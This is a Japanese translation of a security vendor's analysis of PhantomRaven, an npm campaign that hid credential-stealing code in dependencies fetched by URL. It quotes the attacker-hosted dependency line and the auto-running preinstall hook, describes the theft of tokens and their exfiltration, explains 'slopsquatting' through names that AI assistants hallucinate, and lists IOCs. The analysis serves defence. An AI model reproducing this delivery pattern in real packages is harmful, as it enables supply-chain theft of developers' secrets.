PhantomRaven:npmの「見えない依存関係」に潜んでいたマルウェア

126個の悪意あるnpmパッケージ。ダウンロード数は86,000件超。世界中の開発者からnpmトークン、GitHubの認証情報、CI/CDのシークレットを積極的に窃取していました――しかも、ほとんどのセキュリティツールが依存する依存関係分析からは見えない場所に、悪意あるコードを隠した状態でです。

私たちはこのキャンペーンを「PhantomRaven」と名付けました。

発見の経緯

2025年10月、私たちのリスクエンジン「Wings」が奇妙な挙動を検知しました。インストール時に外部へネットワークリクエストを送信するパッケージ群が、いずれも同一の不審なドメインに接続していたのです。

糸をたぐっていくと、8月から続いていたキャンペーンが浮かび上がりました。その規模は驚くべきもので、126個のパッケージが合計で86,000件を超えるインストールを記録していました。しかも、そのうち80個は依然として稼働中で、世界中の開発者から静かに認証情報を収集し続けていたのです。規模の大きさもさることながら、私たちが本当に注目したのは「どうやって」それを実現していたかという点でした。これらのパッケージは、エコシステム内のほとんどのセキュリティツールから悪意あるコードを隠す方法を見つけ出していたのです。

タイムライン:

  • 2025年8月: キャンペーン開始、最初のパッケージが公開される
  • 2025年8月: 最初の21個のパッケージがnpmによって検知・削除される
  • 2025年9月〜10月: 検知を逃れながら80個の追加パッケージがアップロードされる
  • 2025年10月: Koi Securityの挙動監視によりキャンペーンが発見される

これほど巧妙な手口にしては、攻撃者のインフラは意外にも杜撰でした。無料プロバイダの連番アカウント――jpdtester01@hotmail[.]com、jpdtester02@outlook[.]comから、jpdtester13@gmail[.]comまで。ユーザー名もnpmhellやnpmpackagejpdといった具合で、明らかに同一人物が管理していたことがうかがえます。

しかし、配信の仕組みそのものは巧妙でした。

Image

なぜ発見を逃れられたのか:リモート動的依存関係(RDD)

これらの悪意あるパッケージのひとつをnpmで開き、ソースコードを確認してみると、次のようなものが見つかります。

#!/usr/bin/env node‍console.log('Hello, world!');

これだけです。まったく無害な、単純な「Hello World」スクリプトです。

では、悪意あるコードはどこにあるのでしょうか。確認しているパッケージ自体には存在しません。インストール時に取得される、見えない依存関係の中にあるのです。

通常、npmの依存関係は次のような形をしています。

"dependencies": {
"express": "^4.18.0"}

しかし、npmはほとんどの開発者が使わない機能もサポートしています――依存関係の指定にHTTP URLを使うというものです。

"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"}

この種の依存関係を持つパッケージをインストールすると、npmはその外部URLからパッケージを取得します。npmjs.comからではなく、攻撃者が指定した任意の場所からです。

そして、npmjs.comはそうしたURLを追跡しません。セキュリティスキャナーもそれらを取得しません。依存関係分析ツールも無視します。あらゆる自動セキュリティシステムから見ると、これらのパッケージは「依存関係0件」と表示されるのです。

Image

npmで確認できるパッケージは、クリーンで空、そして安全です。

では悪意あるコードはどこにあるのか――packages.storeartifact.comに置かれ、インストール時に取得されるのを待っているのです。

さらに悪いことに:ダウンロードされる中身を攻撃者が操作できる

誰かがnpm installを実行するたびに、その依存関係は攻撃者のサーバーから毎回新しく取得されます。キャッシュもされず、バージョン管理もされず、ロックもされません。常に最新の状態で取得されるのです。

攻撃者はそのサーバーを制御しています。つまり、誰がインストールしているかに応じて、配信するコードを変えることも可能なのです。

これにより、高度なターゲティングの道が開かれます。理論上、攻撃者はリクエストごとのIPアドレスを確認し、異なるペイロードを配信することができます。VPN経由でアクセスするセキュリティ研究者には無害なコードを、企業ネットワークには悪意あるコードを、クラウド環境には専用のペイロードを、といった具合です。あるいは、長期戦を仕掛けることも可能です。数週間はクリーンなコードを返して信頼を築きセキュリティスキャンを通過させ、その後スイッチを切り替えて悪意あるバージョンの配信を開始する、というやり方です。

自動実行という問題

しかし、依存関係の中に悪意あるコードがあるだけでは不十分です。実行される必要があります。そして、npmはそれを自動化してしまいます。

npm installを実行すると、npmは単にパッケージをダウンロードするだけではありません。コードを実行するのです。具体的には、package.jsonで定義されたライフサイクルスクリプト――preinstall、install、postinstallの各フックを実行します。

RDD経由で取得された悪意あるパッケージには、次のような記述があります。

"scripts": {
"preinstall": "node index.js"}

このpreinstallスクリプトは自動的に実行されます。プロンプトも警告もなく、ユーザーの操作は一切必要ありません。

しかも、このパッケージが依存関係ツリーのどれだけ深いところにあるかは関係ありません。悪意あるpreinstallスクリプトを持つパッケージに依存するパッケージに依存するパッケージをインストールしただけでも、そのコードはあなたのマシン上で自動的に実行されてしまいます。

攻撃の完全なチェーンは以下の通りです。

  1. 開発者がnpm上で一見クリーンに見えるパッケージをインストールする
  2. npmが攻撃者のサーバーから見えないRDDを取得する
  3. preinstallスクリプト付きの悪意あるパッケージが届く
  4. インストールが完了する前に、npmが自動的にnode index.jsを実行する
  5. マルウェアが動き出す

これらすべてが、npm installの完了までのわずか数秒間で起こります。

PhantomRavenが実際に行うこと

RDDの手法でインストールされると、PhantomRavenは活動を開始します。その狙いは決して控えめではありません――認証情報、環境情報、あらゆるものを狙っています。

あらゆる場所からメールアドレスを探索

まず、対象が誰であるかを知る必要があります。マルウェアは開発環境全体を系統的に調べ、メールアドレスを探し出します。

Image

環境変数、.gitconfig、.npmrc、さらにはpackage.jsonのauthorフィールドまで確認します。メールアドレスが潜んでいそうな場所はすべてチェックされます。

煩わしい話ではありますが、メールアドレスの収集だけならそれほど恐ろしくはありません。

次に――CI/CD環境の情報一式

攻撃者はインフラに関するあらゆる情報を求めます。

Image

GitHub Actionsのトークン――リポジトリやワークフローへの直接アクセスが可能になります。GitLab CIの認証情報――プロジェクトへのアクセスとパイプラインの制御が可能になります。Jenkinsの認証情報――ビルドサーバーへのアクセスとデプロイ機能が奪われます。CircleCIのトークン――プロジェクトのビルドとデプロイキーが対象になります。npmの認証トークン――保守しているあらゆるパッケージに悪意あるアップデートを公開できるようになります。

そして――システム情報の完全な収集

マルウェアは認証情報の収集だけでは終わりません。開発環境の完全なプロファイルを構築します。

Image

外部サービスから取得したパブリックIP、ホスト名、OSの詳細、ローカルIP、ユーザー名、カレントディレクトリ、Node.jsのバージョン――侵害したシステムの種類や、その価値を把握するために役立つあらゆる情報です。

企業ネットワークであれば高価値な標的、クラウドのCI/CDパイプラインであれば大当たり、開発者のノートPCであれば他のあらゆるものへの侵入口になります。

最後に――確実にデータを持ち出す

データ窃取の仕組みは、偏執的なまでに冗長です。

Image

まず、収集したすべてのデータをURLにエンコードしたHTTP GETリクエストを送信します。次に、同じデータをJSON形式にしたHTTP POSTリクエストを送信します。両方とも失敗した場合は、バックアップサーバーへのWebSocket接続を試みます。

強固なファイアウォールを備えた制限的なネットワーク環境であっても、データは確実に持ち出されてしまいます。

Slopsquatting:AIを悪用したパッケージ名攻撃

PhantomRavenで使われたパッケージ名は、単なるタイポスクワッティング(typosquatting)ではありません。LLMのハルシネーション(幻覚)という新たな脆弱性を突くために、注意深く選ばれたものです。

開発者がGitHub CopilotやChatGPTのようなAIアシスタントにパッケージの推薦を求めると、モデルが実在しないもっともらしいパッケージ名を提案してしまうことがあります。PhantomRavenは、それら実在しないパッケージを実際に作成していたのです。

このAIのハルシネーションを悪用して悪意あるパッケージを登録する攻撃手法を、私たちは「Slopsquatting」と呼んでいます。

具体例:

  • eslint-comments → 正規のパッケージ:eslint-plugin-eslint-comments
  • transform-react-remove-prop-types → 正規のパッケージ:babel-plugin-transform-react-remove-prop-types
  • unused-imports → 正規のパッケージ:eslint-plugin-unused-imports

これらのパッケージ名には、次のような特徴があります。

  • AIが提案してしまう程度に、正規のパッケージ名に十分近い
  • 既存パッケージへの直接的なタイポスクワッティングとは判別できる程度に異なっている
  • 開発者がすぐには疑問を抱かない程度に、もっともらしい

AIアシスタントが「eslint-plugin-unused-imports」よりシンプルな代替として「unused-imports」を提案することもあり得ます。開発者はAIの推薦を信頼し、深く考えずにそれをインストールしてしまうのです。

これは決して理論上の話ではありません。実際に、PhantomRavenのマルウェアを依存関係として含むパッケージが実環境で見つかっています。AIの推薦に基づいてこれらのパッケージをインストールし、自らのシステムを侵害していることにまったく気づいていない被害者たちです。

最後に

この調査は、オープンソースエコシステムのセキュリティに対する好奇心と懸念の両方に突き動かされ、Koi Securityのチームによって行われました。

PhantomRavenは、高度な攻撃者が従来型セキュリティツールの死角をいかに巧妙に突いているかを示しています。リモート動的依存関係(RDD)は静的解析からは見えません。AIのハルシネーションは、開発者が信頼してしまうもっともらしいパッケージ名を生み出します。そして、ライフサイクルスクリプトはユーザーの操作なしに自動実行されます。

これらは理論上の脆弱性ではありません。現在進行形で、何千人もの開発者に影響を及ぼしている実際の悪用手法なのです。

私たちはまさにこの問題に対処するためにKoiを構築しました。私たちのリスクエンジンは、パッケージが自称する内容を分析するだけではありません。実際にそれらを実行し、何が起きるかを観察します。インストール時のネットワークリクエスト、ファイルシステムへのアクセスパターン、静的解析では捉えられない異常な挙動――そうしたものを見逃しません。

Fortune 50企業や世界最大級のテック企業からも信頼されているKoiは、npm、PyPI、VS Code拡張機能、Chrome拡張機能などのパッケージエコシステム全体にわたり、リアルタイムのリスクスコアリングとガバナンスを提供します。

デモを予約することで、従来のセキュリティツールをすり抜けてしまう攻撃を、私たちのリスクエンジンがどのように検知するかをご確認いただけます。

どのセキュリティスキャンにも表示されない依存関係にマルウェアが潜んでいる可能性がある以上、パッケージが「何であると自称しているか」ではなく「実際に何をしているか」を監視するツールが必要です。

どうかご安全に。

IOC(侵害指標)

悪意あるインフラ:

  • packages.storeartifact.com
  • 54.173.15.59
  • データ窃取用エンドポイント:jpd.php

侵害されたパッケージ:

fq-ui, mocha-no-only, ft-flow, ul-inline, jest-hoist, jfrog-npm-actions-example, @acme-types/acme-package, react-web-api, mourner, unused-imports, jira-ticket-todo-comment, polyfill-corejs3, polyfill-regenerator, @aio-commerce-sdk/config-tsdown, @aio-commerce-sdk/config-typedoc, @aio-commerce-sdk/config-typescript, @aio-commerce-sdk/config-vitest, powerbi-visuals-sunburst, @gitlab-lsp/pkg-1, @gitlab-lsp/pkg-2, @gitlab-lsp/workflow-api, @gitlab-test/bun-v1, @gitlab-test/npm-v10, @gitlab-test/pnpm-v9, @gitlab-test/yarn-v4, acme-package, add-module-exports, add-shopify-header, jsx-a11y, prefer-object-spread, preferred-import, durablefunctionsmonitor, durablefunctionsmonitor-vscodeext, durablefunctionsmonitor.react, e-voting-libraries-ui-kit, named-asset-import, chai-friendly, aikido-module, airbnb-babel, airbnb-base-hf, airbnb-base-typescript-prettier, airbnb-bev, airbnb-calendar, airbnb-opentracing-javascript, airbnb-scraper, airbnb-types, ais-sn-components, goji-js-org, google-cloud-functions-framework, chromestatus-openapi, elemefe, labelbox-custom-ui, rxjs-angular, @apache-felix/felix-antora-ui, @apache-netbeans/netbeans-antora-ui, syntax-dynamic-import, no-floating-promise, no-only-tests, @i22-td-smarthome/component-library, vuejs-accessibility, lfs-ui, react-async-component-lifecycle-hooks, eslint-comments, wdr-beam, lion-based-ui, lion-based-ui-labs, eslint-disable-next-line, eslint-github-bot, eslint-plugin-cli-microsoft365, eslint-plugin-custom-eslint-rules, @item-shop-data/client, @msdyn365-commerce-marketplace/address-extensions, @msdyn365-commerce-marketplace/tax-registration-numbers, artifactregistry-login, crowdstrike, wm-tests-helper, external-helpers, react-important-stuff, audio-game, faltest, only-warn, op-cli-installer, react-naming-convention, skyscanner-with-prettier, xo-form-components, xo-login-components, xo-page-components, xo-shipping-change, xo-shipping-options, xo-title, xo-tracking, xo-validation, badgekit-api-client, important-stuff, transform-es2015-modules-commonjs, transform-merge-sibling-variables, transform-react-constant-elements, transform-react-jsx-source, transform-react-remove-prop-types, transform-strict-mode, trezor-rollout, filename-rules, ing-web-es, inline-react-svg, ts-important-stuff, firefly-sdk-js, firefly-shared-js, zeus-me-ops-tool, zeus-mex-user-profile, ts-migrate-example, ts-react-important-stuff, zohocrm-nodejs-sdk-3.0, iot-cardboard-js, pensions-portals-fe, sort-class-members, sort-keys-fix, sort-keys-plus, flowtype-errors, twilio-react, twilio-ts, bernie-core, bernie-plugin-l10n, spaintest1, typescript-compat, typescript-sort-keys, uach-retrofill

‍

攻撃者のインフラ:

無料メールプロバイダをまたいだ連番のメールアドレスパターン:

翻訳元: https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies

本記事は koi.ai の記事を翻訳・要約したものです。